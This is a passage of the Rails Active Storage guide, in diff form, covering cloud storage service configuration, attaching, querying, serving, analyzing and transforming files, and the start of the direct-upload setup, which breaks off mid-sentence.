+To connect to Amazon S3, declare an S3 service in `config/storage.yml`:
+
+```yaml
+# Use bin/rails credentials:edit to set the AWS secrets (as aws:access_key_id|secret_access_key)
+amazon:
+  service: S3
+  access_key_id: <%= Rails.application.credentials.dig(:aws, :access_key_id) %>
+  secret_access_key: <%= Rails.application.credentials.dig(:aws, :secret_access_key) %>
+  region: "" # e.g. 'us-east-1'
+  bucket: your_own_bucket-<%= Rails.env %>
+```
+
+Optionally provide client and upload options:
+
+```yaml
+# Use bin/rails credentials:edit to set the AWS secrets (as aws:access_key_id|secret_access_key)
+amazon:
+  service: S3
+  access_key_id: <%= Rails.application.credentials.dig(:aws, :access_key_id) %>
+  secret_access_key: <%= Rails.application.credentials.dig(:aws, :secret_access_key) %>
+  region: "" # e.g. 'us-east-1'
+  bucket: your_own_bucket-<%= Rails.env %>
+  http_open_timeout: 0
+  http_read_timeout: 0
+  retry_limit: 0
+  upload:
+    server_side_encryption: "" # 'aws:kms' or 'AES256'
+    cache_control: "private, max-age=<%= 1.day.to_i %>"
+```
+
+TIP: Set sensible client HTTP timeouts and retry limits for your application. In certain failure scenarios, the default AWS client configuration may cause connections to be held for up to several minutes and lead to request queuing.
+
+Add the [`aws-sdk-s3`](https://github.com/aws/aws-sdk-ruby) gem to your `Gemfile`:
+
+```ruby
+gem "aws-sdk-s3", require: false
+```
+
+NOTE: The core features of Active Storage require the following permissions: `s3:ListBucket`, `s3:PutObject`, `s3:GetObject`, and `s3:DeleteObject`. [Public access](#public-access) additionally requires `s3:PutObjectAcl`. If you have additional upload options configured such as setting ACLs then additional permissions may be required.
+
+NOTE: If you want to use environment variables, standard SDK configuration files, profiles,
+IAM instance profiles or task roles, you can omit the `access_key_id`, `secret_access_key`,
+and `region` keys in the example above. The S3 Service supports all of the
+authentication options described in the [AWS SDK documentation](https://docs.aws.amazon.com/sdk-for-ruby/v3/developer-guide/setup-config.html).
+
+To connect to an S3-compatible object storage API such as DigitalOcean Spaces, provide the `endpoint`:
+
+```yaml
+digitalocean:
+  service: S3
+  endpoint: https://nyc3.digitaloceanspaces.com
+  access_key_id: <%= Rails.application.credentials.dig(:digitalocean, :access_key_id) %>
+  secret_access_key: <%= Rails.application.credentials.dig(:digitalocean, :secret_access_key) %>
+  # ...and other options
+```
+
+There are many other options available. You can check them in [AWS S3 Client](https://docs.aws.amazon.com/sdk-for-ruby/v3/api/Aws/S3/Client.html#initialize-instance_method) documentation.
+
+### Google Cloud Storage Service
+
+Declare a Google Cloud Storage service in `config/storage.yml`:
+
+```yaml
+google:
+  service: GCS
+  credentials: <%= Rails.root.join("path/to/keyfile.json") %>
+  project: ""
+  bucket: your_own_bucket-<%= Rails.env %>
+```
+
+Optionally provide a Hash of credentials instead of a keyfile path:
+
+```yaml
+# Use bin/rails credentials:edit to set the GCS secrets (as gcs:private_key_id|private_key)
+google:
+  service: GCS
+  credentials:
+    type: "service_account"
+    project_id: ""
+    private_key_id: <%= Rails.application.credentials.dig(:gcs, :private_key_id) %>
+    private_key: <%= Rails.application.credentials.dig(:gcs, :private_key).dump %>
+    client_email: ""
+    client_id: ""
+    auth_uri: "https://accounts.google.com/o/oauth2/auth"
+    token_uri: "https://accounts.google.com/o/oauth2/token"
+    auth_provider_x509_cert_url: "https://www.googleapis.com/oauth2/v1/certs"
+    client_x509_cert_url: ""
+  project: ""
+  bucket: your_own_bucket-<%= Rails.env %>
+```
+
+Optionally provide a Cache-Control metadata to set on uploaded assets:
+
+```yaml
+google:
+  service: GCS
+  ...
+  cache_control: "public, max-age=3600"
+```
+
+Optionally use [IAM](https://cloud.google.com/storage/docs/access-control/signed-urls#signing-iam) instead of the `credentials` when signing URLs. This is useful if you are authenticating your GKE applications with Workload Identity, see [this Google Cloud blog post](https://cloud.google.com/blog/products/containers-kubernetes/introducing-workload-identity-better-authentication-for-your-gke-applications) for more information.
+
+```yaml
+google:
+  service: GCS
+  ...
+  iam: true
+```
+
+Optionally use a specific GSA when signing URLs. When using IAM, the [metadata server](https://cloud.google.com/compute/docs/storing-retrieving-metadata) will be contacted to get the GSA email, but this metadata server is not always present (e.g. local tests) and you may wish to use a non-default GSA.
+
+```yaml
+google:
+  service: GCS
+  ...
+  iam: true
+  gsa_email: "foobar@baz.iam.gserviceaccount.com"
+```
+
+Add the [`google-cloud-storage`](https://github.com/GoogleCloudPlatform/google-cloud-ruby/tree/main/google-cloud-storage) gem to your `Gemfile`:
+
+```ruby
+gem "google-cloud-storage", "~> 1.11", require: false
+```
+
+### Mirror Service
+
+You can keep multiple services in sync by defining a mirror service. A mirror
+service replicates uploads and deletes across two or more subordinate services.
+
+A mirror service is intended to be used temporarily during a migration between
+services in production. You can start mirroring to a new service, copy
+pre-existing files from the old service to the new, then go all-in on the new
+service.
+
+NOTE: Mirroring is not atomic. It is possible for an upload to succeed on the
+primary service and fail on any of the subordinate services. Before going
+all-in on a new service, verify that all files have been copied.
+
+Define each of the services you'd like to mirror as described above. Reference
+them by name when defining a mirror service:
+
+```yaml
+# Use bin/rails credentials:edit to set the AWS secrets (as aws:access_key_id|secret_access_key)
+s3_west_coast:
+  service: S3
+  access_key_id: <%= Rails.application.credentials.dig(:aws, :access_key_id) %>
+  secret_access_key: <%= Rails.application.credentials.dig(:aws, :secret_access_key) %>
+  region: "" # e.g. 'us-west-1'
+  bucket: your_own_bucket-<%= Rails.env %>
+
+s3_east_coast:
+  service: S3
+  access_key_id: <%= Rails.application.credentials.dig(:aws, :access_key_id) %>
+  secret_access_key: <%= Rails.application.credentials.dig(:aws, :secret_access_key) %>
+  region: "" # e.g. 'us-east-1'
+  bucket: your_own_bucket-<%= Rails.env %>
+
+production:
+  service: Mirror
+  primary: s3_east_coast
+  mirrors:
+    - s3_west_coast
+```
+
+Although all secondary services receive uploads, downloads are always handled
+by the primary service.
+
+Mirror services are compatible with direct uploads. New files are directly
+uploaded to the primary service. When a directly-uploaded file is attached to a
+record, a background job is enqueued to copy it to the secondary services.
+
+### Public access
+
+By default, Active Storage assumes private access to services. This means generating signed, single-use URLs for blobs. If you'd rather make blobs publicly accessible, specify `public: true` in your app's `config/storage.yml`:
+
+```yaml
+gcs: &gcs
+  service: GCS
+  project: ""
+
+private_gcs:
+  <<: *gcs
+  credentials: <%= Rails.root.join("path/to/private_key.json") %>
+  bucket: your_own_bucket-<%= Rails.env %>
+
+public_gcs:
+  <<: *gcs
+  credentials: <%= Rails.root.join("path/to/public_key.json") %>
+  bucket: your_own_bucket-<%= Rails.env %>
+  public: true
+```
+
+Make sure your buckets are properly configured for public access. See docs on how to enable public read permissions for [Amazon S3](https://docs.aws.amazon.com/AmazonS3/latest/user-guide/block-public-access-bucket.html) and [Google Cloud Storage](https://cloud.google.com/storage/docs/access-control/making-data-public#buckets) storage services. Amazon S3 additionally requires that you have the `s3:PutObjectAcl` permission.
+
+When converting an existing application to use `public: true`, make sure to update every individual file in the bucket to be publicly-readable before switching over.
+
+Attaching Files to Records
+--------------------------
+
+### `has_one_attached`
+
+The [`has_one_attached`][] macro sets up a one-to-one mapping between records and
+files. Each record can have one file attached to it.
+
+For example, suppose your application has a `User` model. If you want each user to
+have an avatar, define the `User` model as follows:
+
+```ruby
+class User < ApplicationRecord
+  has_one_attached :avatar
+end
+```
+
+or if you are using Rails 6.0+, you can run a model generator command like this:
+
+```bash
+$ bin/rails generate model User avatar:attachment
+```
+
+You can create a user with an avatar:
+
+```erb
+<%= form.file_field :avatar %>
+```
+
+```ruby
+class SignupController < ApplicationController
+  def create
+    user = User.create!(user_params)
+    session[:user_id] = user.id
+    redirect_to root_path
+  end
+
+  private
+    def user_params
+      params.expect(user: [:email_address, :password, :avatar])
+    end
+end
+```
+
+Call [`avatar.attach`][Attached::One#attach] to attach an avatar to an existing user:
+
+```ruby
+user.avatar.attach(params[:avatar])
+```
+
+Call [`avatar.attached?`][Attached::One#attached?] to determine whether a particular user has an avatar:
+
+```ruby
+user.avatar.attached?
+```
+
+In some cases you might want to override a default service for a specific attachment.
+You can configure specific services per attachment using the `service` option with the name of your service:
+
+```ruby
+class User < ApplicationRecord
+  has_one_attached :avatar, service: :google
+end
+```
+
+You can configure specific variants per attachment by calling the `variant` method on yielded attachable object:
+
+```ruby
+class User < ApplicationRecord
+  has_one_attached :avatar do |attachable|
+    attachable.variant :thumb, resize_to_limit: [100, 100]
+  end
+end
+```
+
+Call `avatar.variant(:thumb)` to get a thumb variant of an avatar:
+
+```erb
+<%= image_tag user.avatar.variant(:thumb) %>
+```
+
+You can use specific variants for previews as well:
+
+```ruby
+class User < ApplicationRecord
+  has_one_attached :video do |attachable|
+    attachable.variant :thumb, resize_to_limit: [100, 100]
+  end
+end
+```
+
+```erb
+<%= image_tag user.video.preview(:thumb) %>
+```
+
+#### Variant Generation: Lazily, Later, Immediately
+
+When you know in advance which variants you'll generate, use the `process` option to control when they're generated:
+
+* `:lazily` (default) - Variants are created on the fly when first requested
+* `:later` - Variants are created in a background job after the attachment is saved
+* `:immediately` - Variants are created synchronously when the attachment is created
+
+```ruby
+class User < ApplicationRecord
+  has_one_attached :avatar do |attachable|
+    # Create immediately when the avatar is attached
+    attachable.variant :thumb, resize_to_limit: [100, 100], process: :immediately
+
+    # Create in a background job after attachment
+    attachable.variant :medium, resize_to_limit: [300, 300], process: :later
+
+    # Create on demand when first requested (default)
+    attachable.variant :large, resize_to_limit: [800, 800], process: :lazily
+  end
+end
+```
+
+NOTE: Since Active Storage relies on polymorphic associations, and [polymorphic associations](./association_basics.html#polymorphic-associations) rely on storing class names in the database, that data must remain synchronized with the class name used by the Ruby code. When renaming classes that use `has_one_attached`, make sure to also update the class names in the `active_storage_attachments.record_type` polymorphic type column of the corresponding rows.
+
+[`has_one_attached`]: https://api.rubyonrails.org/classes/ActiveStorage/Attached/Model.html#method-i-has_one_attached
+[Attached::One#attach]: https://api.rubyonrails.org/classes/ActiveStorage/Attached/One.html#method-i-attach
+[Attached::One#attached?]: https://api.rubyonrails.org/classes/ActiveStorage/Attached/One.html#method-i-attached-3F
+
+### `has_many_attached`
+
+The [`has_many_attached`][] macro sets up a one-to-many relationship between records
+and files. Each record can have many files attached to it.
+
+For example, suppose your application has a `Message` model. If you want each
+message to have many images, define the `Message` model as follows:
+
+```ruby
+class Message < ApplicationRecord
+  has_many_attached :images
+end
+```
+
+or if you are using Rails 6.0+, you can run a model generator command like this:
+
+```bash
+$ bin/rails generate model Message images:attachments
+```
+
+You can create a message with images:
+
+```ruby
+class MessagesController < ApplicationController
+  def create
+    message = Message.create!(message_params)
+    redirect_to message
+  end
+
+  private
+    def message_params
+      params.expect(message: [ :title, :content, images: [] ])
+    end
+end
+```
+
+Call [`images.attach`][Attached::Many#attach] to add new images to an existing message:
+
+```ruby
+@message.images.attach(params[:images])
+```
+
+Call [`images.attached?`][Attached::Many#attached?] to determine whether a particular message has any images:
+
+```ruby
+@message.images.attached?
+```
+
+Overriding the default service is done the same way as `has_one_attached`, by using the `service` option:
+
+```ruby
+class Message < ApplicationRecord
+  has_many_attached :images, service: :s3
+end
+```
+
+Configuring specific variants is done the same way as `has_one_attached`, by calling the `variant` method on the yielded attachable object:
+
+```ruby
+class Message < ApplicationRecord
+  has_many_attached :images do |attachable|
+    attachable.variant :thumb, resize_to_limit: [100, 100]
+  end
+end
+```
+
+[`has_many_attached`]: https://api.rubyonrails.org/classes/ActiveStorage/Attached/Model.html#method-i-has_many_attached
+[Attached::Many#attach]: https://api.rubyonrails.org/classes/ActiveStorage/Attached/Many.html#method-i-attach
+[Attached::Many#attached?]: https://api.rubyonrails.org/classes/ActiveStorage/Attached/Many.html#method-i-attached-3F
+
+NOTE: Since Active Storage relies on polymorphic associations, and [polymorphic associations](./association_basics.html#polymorphic-associations) rely on storing class names in the database, that data must remain synchronized with the class name used by the Ruby code. When renaming classes that use `has_many_attached`, make sure to also update the class names in the `active_storage_attachments.record_type` polymorphic type column of the corresponding rows.
+
+### Attaching File/IO Objects
+
+Sometimes you need to attach a file that doesn’t arrive via an HTTP request.
+For example, you may want to attach a file you generated on disk or downloaded
+from a user-submitted URL. You may also want to attach a fixture file in a
+model test. To do that, provide a Hash containing at least an open IO object
+and a filename:
+
+```ruby
+@message.images.attach(io: File.open("/path/to/file"), filename: "file.pdf")
+```
+
+When possible, provide a content type as well. Active Storage attempts to
+determine a file’s content type from its data. It falls back to the content
+type you provide if it can’t do that.
+
+```ruby
+@message.images.attach(io: File.open("/path/to/file"), filename: "file.pdf", content_type: "application/pdf")
+```
+
+You can bypass the content type inference from the data by passing in
+`identify: false` along with the `content_type`.
+
+```ruby
+@message.images.attach(
+  io: File.open("/path/to/file"),
+  filename: "file.pdf",
+  content_type: "application/pdf",
+  identify: false
+)
+```
+
+If you don’t provide a content type and Active Storage can’t determine the
+file’s content type automatically, it defaults to application/octet-stream.
+
+There is an additional parameter `key` that can be used to specify folders/sub-folders
+in your S3 Bucket. AWS S3 otherwise uses a random key to name your files. This
+approach is helpful if you want to organize your S3 Bucket files better.
+
+```ruby
+@message.images.attach(
+  io: File.open("/path/to/file"),
+  filename: "file.pdf",
+  content_type: "application/pdf",
+  key: "#{Rails.env}/blog_content/intuitive_filename.pdf",
+  identify: false
+)
+```
+
+This way the file will get saved in the folder `[S3_BUCKET]/development/blog_content/`
+when you test this from your development environment. Note that if you use the key
+parameter, you have to ensure the key to be unique for the upload to go through. It is
+recommended to append the filename with a unique random key, something like:
+
+```ruby
+def s3_file_key
+  "#{Rails.env}/blog_content/intuitive_filename-#{SecureRandom.uuid}.pdf"
+end
+```
+
+```ruby
+@message.images.attach(
+  io: File.open("/path/to/file"),
+  filename: "file.pdf",
+  content_type: "application/pdf",
+  key: s3_file_key,
+  identify: false
+)
+```
+
+### Replacing vs Adding Attachments
+
+By default in Rails, attaching files to a `has_many_attached` association will replace
+any existing attachments.
+
+To keep existing attachments, you can use hidden form fields with the [`signed_id`][ActiveStorage::Blob#signed_id]
+of each attached file:
+
+```erb
+<% @message.images.each do |image| %>
+  <%= form.hidden_field :images, multiple: true, value: image.signed_id %>
+<% end %>
+
+<%= form.file_field :images, multiple: true %>
+```
+
+This has the advantage of making it possible to remove existing attachments
+selectively, e.g. by using JavaScript to remove individual hidden fields.
+
+[ActiveStorage::Blob#signed_id]: https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-signed_id
+
+### Form Validation
+
+Attachments aren't sent to the storage service until a successful `save` on the
+associated record. This means that if a form submission fails validation, any new
+attachment(s) will be lost and must be uploaded again. Since [direct uploads](#direct-uploads)
+are stored before the form is submitted, they can be used to retain uploads when validation fails:
+
+```erb
+<%= form.hidden_field :avatar, value: @user.avatar.signed_id if @user.avatar.attached? %>
+<%= form.file_field :avatar, direct_upload: true %>
+```
+
+## Querying
+
+Active Storage attachments are Active Record associations behind the scenes, so you can use the usual [query methods](active_record_querying.html) to look up records for attachments that meet specific criteria.
+
+### `has_one_attached`
+
+[`has_one_attached`](https://api.rubyonrails.org/classes/ActiveStorage/Attached/Model.html#method-i-has_one_attached) creates a `has_one` association named `"<name>_attachment"` and a `has_one :through` association named `"<name>_blob"`.
+To select every user where the avatar is a PNG, run the following:
+
+```ruby
+User.joins(:avatar_blob).where(active_storage_blobs: { content_type: "image/png" })
+```
+
+### `has_many_attached`
+
+[`has_many_attached`](https://api.rubyonrails.org/classes/ActiveStorage/Attached/Model.html#method-i-has_many_attached) creates a `has_many` association called `"<name>_attachments"` and a `has_many :through` association called `"<name>_blobs"` (note the plural).
+To select all messages where images are videos rather than photos you can do the following:
+
+```ruby
+Message.joins(:images_blobs).where(active_storage_blobs: { content_type: "video/mp4" })
+```
+
+The query will filter on the [**`ActiveStorage::Blob`**](https://api.rubyonrails.org/classes/ActiveStorage/Blob.html), not the [attachment record](https://api.rubyonrails.org/classes/ActiveStorage/Attachment.html) because these are plain SQL joins. You can combine the blob predicates above with any other scope conditions, just as you would with any other Active Record query.
+
+
+Removing Files
+--------------
+
+To remove an attachment from a model, call [`purge`][Attached::One#purge] on the
+attachment. If your application is set up to use Active Job, removal can be done
+in the background instead by calling [`purge_later`][Attached::One#purge_later].
+Purging deletes the blob and the file from the storage service.
+
+```ruby
+# Synchronously destroy the avatar and actual resource files.
+user.avatar.purge
+
+# Destroy the associated models and actual resource files async, via Active Job.
+user.avatar.purge_later
+```
+
+[Attached::One#purge]: https://api.rubyonrails.org/classes/ActiveStorage/Attached/One.html#method-i-purge
+[Attached::One#purge_later]: https://api.rubyonrails.org/classes/ActiveStorage/Attached/One.html#method-i-purge_later
+
+Serving Files
+-------------
+
+Active Storage supports two ways to serve files: redirecting and proxying.
+
+WARNING: All Active Storage controllers are publicly accessible by default. The
+generated URLs are hard to guess, but permanent by design. If your files
+require a higher level of protection consider implementing
+[Authenticated Controllers](#authenticated-controllers).
+
+### Redirect Mode
+
+To generate a permanent URL for a blob, you can pass the attachment or the blob to
+the [`url_for`][ActionView::RoutingUrlFor#url_for] view helper. This generates a
+URL with the blob's [`signed_id`][ActiveStorage::Blob#signed_id]
+that is routed to the blob's [`RedirectController`][`ActiveStorage::Blobs::RedirectController`]
+
+```ruby
+url_for(user.avatar)
+# => https://www.example.com/rails/active_storage/blobs/redirect/:signed_id/my-avatar.png
+```
+
+The `RedirectController` redirects to the actual service endpoint. This
+indirection decouples the service URL from the actual one, and allows, for
+example, mirroring attachments in different services for high-availability. The
+redirection has an HTTP expiration of 5 minutes.
+
+To create a download link, use the `rails_blob_{path|url}` helper. Using this
+helper allows you to set the disposition.
+
+```ruby
+rails_blob_path(user.avatar, disposition: "attachment")
+```
+
+WARNING: To prevent XSS attacks, Active Storage forces the Content-Disposition header
+to "attachment" for some kind of files. To change this behavior see the
+available configuration options in [Configuring Rails Applications](configuring.html#configuring-active-storage).
+
+If you need to create a link from outside of controller/view context (Background
+jobs, Cronjobs, etc.), you can access the `rails_blob_path` like this:
+
+```ruby
+Rails.application.routes.url_helpers.rails_blob_path(user.avatar, only_path: true)
+```
+
+[ActionView::RoutingUrlFor#url_for]: https://api.rubyonrails.org/classes/ActionView/RoutingUrlFor.html#method-i-url_for
+[ActiveStorage::Blob#signed_id]: https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-signed_id
+
+### Proxy Mode
+
+Optionally, files can be proxied instead. This means that your application servers will download file data from the storage service in response to requests. This can be useful for serving files from a CDN.
+
+You can configure Active Storage to use proxying by default:
+
+```ruby
+# config/initializers/active_storage.rb
+Rails.application.config.active_storage.resolve_model_to_route = :rails_storage_proxy
+```
+
+Or if you want to explicitly proxy specific attachments there are URL helpers you can use in the form of `rails_storage_proxy_path` and `rails_storage_proxy_url`.
+
+```erb
+<%= image_tag rails_storage_proxy_path(@user.avatar) %>
+```
+
+#### Putting a CDN in Front of Active Storage
+
+Additionally, in order to use a CDN for Active Storage attachments, you will need to generate URLs with proxy mode so that they are served by your app and the CDN will cache the attachment without any extra configuration. This works out of the box because the default Active Storage proxy controller sets an HTTP header indicating to the CDN to cache the response.
+
+You should also make sure that the generated URLs use the CDN host instead of your app host. There are multiple ways to achieve this, but in general it involves tweaking your `config/routes.rb` file so that you can generate the proper URLs for the attachments and their variations. As an example, you could add this:
+
+```ruby
+# config/routes.rb
+direct :cdn_image do |model, options|
+  expires_in = options.delete(:expires_in) { ActiveStorage.urls_expire_in }
+
+  if model.respond_to?(:signed_id)
+    route_for(
+      :rails_service_blob_proxy,
+      model.signed_id(expires_in: expires_in),
+      model.filename,
+      options.merge(host: ENV["CDN_HOST"])
+    )
+  else
+    signed_blob_id = model.blob.signed_id(expires_in: expires_in)
+    variation_key  = model.variation.key
+    filename       = model.blob.filename
+
+    route_for(
+      :rails_blob_representation_proxy,
+      signed_blob_id,
+      variation_key,
+      filename,
+      options.merge(host: ENV["CDN_HOST"])
+    )
+  end
+end
+```
+
+and then generate routes like this:
+
+```erb
+<%= cdn_image_url(user.avatar.variant(resize_to_limit: [128, 128])) %>
+```
+
+### Authenticated Controllers
+
+All Active Storage controllers are publicly accessible by default. The generated
+URLs use a plain [`signed_id`][ActiveStorage::Blob#signed_id], making them hard to
+guess but permanent. Anyone that knows the blob URL will be able to access it,
+even if a `before_action` in your `ApplicationController` would otherwise
+require a login. If your files require a higher level of protection, you can
+implement your own authenticated controllers, based on the
+[`ActiveStorage::Blobs::RedirectController`][],
+[`ActiveStorage::Blobs::ProxyController`][],
+[`ActiveStorage::Representations::RedirectController`][] and
+[`ActiveStorage::Representations::ProxyController`][]
+
+To only allow an account to access their own logo you could do the following:
+
+```ruby
+# config/routes.rb
+resource :account do
+  resource :logo
+end
+```
+
+```ruby
+# app/controllers/logos_controller.rb
+class LogosController < ApplicationController
+  # Through ApplicationController:
+  # include Authenticate, SetCurrentAccount
+
+  def show
+    redirect_to Current.account.logo.url
+  end
+end
+```
+
+```erb
+<%= image_tag account_logo_path %>
+```
+
+And then you should disable the Active Storage default routes with:
+
+```ruby
+config.active_storage.draw_routes = false
+```
+
+to prevent files being accessed with the publicly accessible URLs.
+
+[`ActiveStorage::Blobs::RedirectController`]: https://api.rubyonrails.org/classes/ActiveStorage/Blobs/RedirectController.html
+[`ActiveStorage::Blobs::ProxyController`]: https://api.rubyonrails.org/classes/ActiveStorage/Blobs/ProxyController.html
+[`ActiveStorage::Representations::RedirectController`]: https://api.rubyonrails.org/classes/ActiveStorage/Representations/RedirectController.html
+[`ActiveStorage::Representations::ProxyController`]: https://api.rubyonrails.org/classes/ActiveStorage/Representations/ProxyController.html
+
+Downloading Files
+-----------------
+
+Sometimes you need to process a blob after it’s uploaded—for example, to convert
+it to a different format. Use the attachment's [`download`][Blob#download] method to read a blob’s
+binary data into memory:
+
+```ruby
+binary = user.avatar.download
+```
+
+You might want to download a blob to a file on disk so an external program (e.g.
+a virus scanner or media transcoder) can operate on it. Use the attachment's
+[`open`][Blob#open] method to download a blob to a tempfile on disk:
+
+```ruby
+message.video.open do |file|
+  system "/path/to/virus/scanner", file.path
+  # ...
+end
+```
+
+It's important to know that the file is not yet available in the `after_create` callback but in the `after_create_commit` only.
+
+[Blob#download]: https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-download
+[Blob#open]: https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-open
+
+Analyzing Files
+---------------
+
+Active Storage analyzes files to extract metadata like image dimensions, video duration, and audio bit rate. Analyzed files store this information in their metadata hash, including `analyzed: true`. You can check whether a blob has been analyzed by calling [`analyzed?`][] on it.
+
+Image analysis provides `width` and `height` attributes. Video analysis provides these, as well as `duration`, `angle`, `display_aspect_ratio`, and `video` and `audio` booleans to indicate the presence of those channels. Audio analysis provides `duration` and `bit_rate` attributes.
+
+### Validating Attachment Metadata
+
+As of Rails 8.2, attachments are analyzed before validation by default, making metadata available for model validations:
+
+```ruby
+class User < ApplicationRecord
+  has_one_attached :avatar
+
+  validate :validate_avatar_dimensions, if: -> { avatar.attached? }
+
+  private
+    def validate_avatar_dimensions
+      if avatar.metadata[:width] < 200 || avatar.metadata[:height] < 200
+        errors.add(:avatar, "must be at least 200x200 pixels")
+      end
+    end
+end
+```
+
+NOTE: [Direct uploads](#direct-uploads) bypass the server so the file isn't locally available for analysis. In this case, `:immediately` falls back to `:later`, analyzing via background job after upload completes. Metadata isn't available for validation; validate on the client side using JavaScript instead.
+
+### Controlling When Analysis is Performed
+
+Pass the `analyze:` option to control when analysis is performed:
+
+```ruby
+class User < ApplicationRecord
+  # Analyze before validation (default in 8.2)
+  has_one_attached :avatar, analyze: :immediately
+
+  # Analyze after upload from local IO or via background job for direct uploads
+  has_one_attached :document, analyze: :later
+
+  # Skip automatic analysis - analyze on-demand when metadata is accessed
+  has_many_attached :files, analyze: :lazily
+end
+```
+
+NOTE: Attachments with `process: :immediately` variants automatically analyze immediately to ensure metadata is available before processing.
+
+You can set the global default in your application configuration:
+
+```ruby
+# config/application.rb
+config.active_storage.analyze = :later  # restore pre-8.2 behavior
+```
+
+[`analyzed?`]: https://api.rubyonrails.org/classes/ActiveStorage/Blob/Analyzable.html#method-i-analyzed-3F
+
+Displaying Images, Videos, and PDFs
+---------------
+
+Active Storage supports representing a variety of files. You can call
+[`representation`][] on an attachment to display an image variant, or a
+preview of a video or PDF. Before calling `representation`, check if the
+attachment can be represented by calling [`representable?`]. Some file formats
+can't be previewed by Active Storage out of the box (e.g. Word documents); if
+`representable?` returns false you may want to [link to](#serving-files)
+the file instead.
+
+```erb
+<ul>
+  <% @message.files.each do |file| %>
+    <li>
+      <% if file.representable? %>
+        <%= image_tag file.representation(resize_to_limit: [100, 100]) %>
+      <% else %>
+        <%= link_to rails_blob_path(file, disposition: "attachment") do %>
+          <%= image_tag "placeholder.png", alt: "Download file" %>
+        <% end %>
+      <% end %>
+    </li>
+  <% end %>
+</ul>
+```
+
+Internally, `representation` calls `variant` for images, and `preview` for
+previewable files. You can also call these methods directly.
+
+[`representable?`]: https://api.rubyonrails.org/classes/ActiveStorage/Blob/Representable.html#method-i-representable-3F
+[`representation`]: https://api.rubyonrails.org/classes/ActiveStorage/Blob/Representable.html#method-i-representation
+
+### Lazy vs Immediate Loading
+
+By default, Active Storage will process representations lazily. This code:
+
+```ruby
+image_tag file.representation(resize_to_limit: [100, 100])
+```
+
+Will generate an `<img>` tag with the `src` pointing to the
+[`ActiveStorage::Representations::RedirectController`][]. The browser will
+make a request to that controller, which will perform the following:
+
+1. Process file and upload the processed file if necessary.
+2. Return a `302` redirect to the file either to
+  * the remote service (e.g., S3).
+  * or `ActiveStorage::Blobs::ProxyController` which will return the file contents if [proxy mode](#proxy-mode) is enabled.
+
+Loading the file lazily allows features like [single use URLs](#public-access)
+to work without slowing down your initial page loads.
+
+This works fine for most cases.
+
+If you want to generate URLs for images immediately, you can call `.processed.url`:
+
+```ruby
+image_tag file.representation(resize_to_limit: [100, 100]).processed.url
+```
+
+The Active Storage variant tracker improves performance of this, by storing a
+record in the database if the requested representation has been processed before.
+Thus, the above code will only make an API call to the remote service (e.g. S3)
+once, and once a variant is stored, will use that. The variant tracker runs
+automatically, but can be disabled through [`config.active_storage.track_variants`][].
+
+If you're rendering lots of images on a page, the above example could result
+in N+1 queries loading all the variant records. To avoid these N+1 queries,
+use the named scopes on [`ActiveStorage::Attachment`][].
+
+```ruby
+message.images.with_all_variant_records.each do |file|
+  image_tag file.representation(resize_to_limit: [100, 100]).processed.url
+end
+```
+
+[`config.active_storage.track_variants`]: configuring.html#config-active-storage-track-variants
+[`ActiveStorage::Representations::RedirectController`]: https://api.rubyonrails.org/classes/ActiveStorage/Representations/RedirectController.html
+[`ActiveStorage::Attachment`]: https://api.rubyonrails.org/classes/ActiveStorage/Attachment.html
+
+### Transforming Images
+
+Transforming images allows you to display the image at your choice of dimensions.
+To create a variation of an image, call [`variant`][] on the attachment. You
+can pass any transformation supported by the variant processor to the method.
+When the browser hits the variant URL, Active Storage will lazily transform
+the original blob into the specified format and redirect to its new service
+location.
+
+```erb
+<%= image_tag user.avatar.variant(resize_to_limit: [100, 100]) %>
+```
+
+WARNING: It should be considered unsafe to provide arbitrary user supplied
+transformations or parameters to variant processors. This can potentially
+enable command injection vulnerabilities in your app. It is also recommended
+to implement a strict [ImageMagick security policy](https://imagemagick.org/script/security-policy.php)
+when MiniMagick is the variant processor of choice.
+
+If a variant is requested, Active Storage will automatically apply
+transformations depending on the image's format:
+
+1. Content types that are variable (as dictated by [`config.active_storage.variable_content_types`][])
+  and not considered web images (as dictated by [`config.active_storage.web_image_content_types`][]),
+  will be converted to PNG.
+
+2. If `quality` is not specified, the variant processor's default quality for the format will be used.
+
+Active Storage can use either [Vips][] or MiniMagick as the variant processor.
+The default depends on your `config.load_defaults` target version, and the
+processor can be changed by setting [`config.active_storage.variant_processor`][].
+
+[`config.active_storage.variable_content_types`]: configuring.html#config-active-storage-variable-content-types
+[`config.active_storage.variant_processor`]: configuring.html#config-active-storage-variant-processor
+[`config.active_storage.web_image_content_types`]: configuring.html#config-active-storage-web-image-content-types
+[`variant`]: https://api.rubyonrails.org/classes/ActiveStorage/Blob/Representable.html#method-i-variant
+[Vips]: https://www.rubydoc.info/gems/ruby-vips/Vips/Image
+
+### Previewing Files
+
+Some non-image files can be previewed: that is, they can be presented as images.
+For example, a video file can be previewed by extracting its first frame. Out of
+the box, Active Storage supports previewing videos and PDF documents. To create
+a link to a lazily-generated preview, use the attachment's [`preview`][] method:
+
+```erb
+<%= image_tag message.video.preview(resize_to_limit: [100, 100]) %>
+```
+
+To add support for another format, add your own previewer. See the
+[`ActiveStorage::Preview`][] documentation for more information.
+
+[`preview`]: https://api.rubyonrails.org/classes/ActiveStorage/Blob/Representable.html#method-i-preview
+[`ActiveStorage::Preview`]: https://api.rubyonrails.org/classes/ActiveStorage/Preview.html
+
+Direct Uploads
+--------------
+
+Active Storage, with its included JavaScript library, supports uploading
+directly from the client to the cloud.
+
+### Usage
+
+1. Include the Active Storage JavaScript in your application's JavaScript
+bundle or reference it directly.
+
+    Requiring it directly in the application HTML with autostart, instead of
+    bundling it through the asset pipeline:
+
+    ```erb
+    <%= javascript_include_tag "activestorage" %>
+    ```
+
+    Requiring via importmap-rails as an ESM in the application HTML, instead of
+    bundling it through the asset pipeline and using autostart:
+
+    ```ruby
+    # config/importmap.rb
+    pin "@rails/activestorage", to: "activestorage.esm.js"
+    ```
+
+    ```html
+    <script type="module-shim">
+      import * as ActiveStorage from "@rails/activestorage"
+      ActiveStorage.start()
+    </script>
+    ```
+
+    Using the asset pipeline:
+
+    ```js
+    //= require activestorage
+    ```
+
+    Using the npm package:
+
+    ```js
+    import * as ActiveStorage from "@rails/activestorage"
+    ActiveStorage.start()
+    ```
+
+2. Add `direct_upload: true` option to your [`file_field`
+helper](form_helpers.html#uploading-files) to automatically annotate the
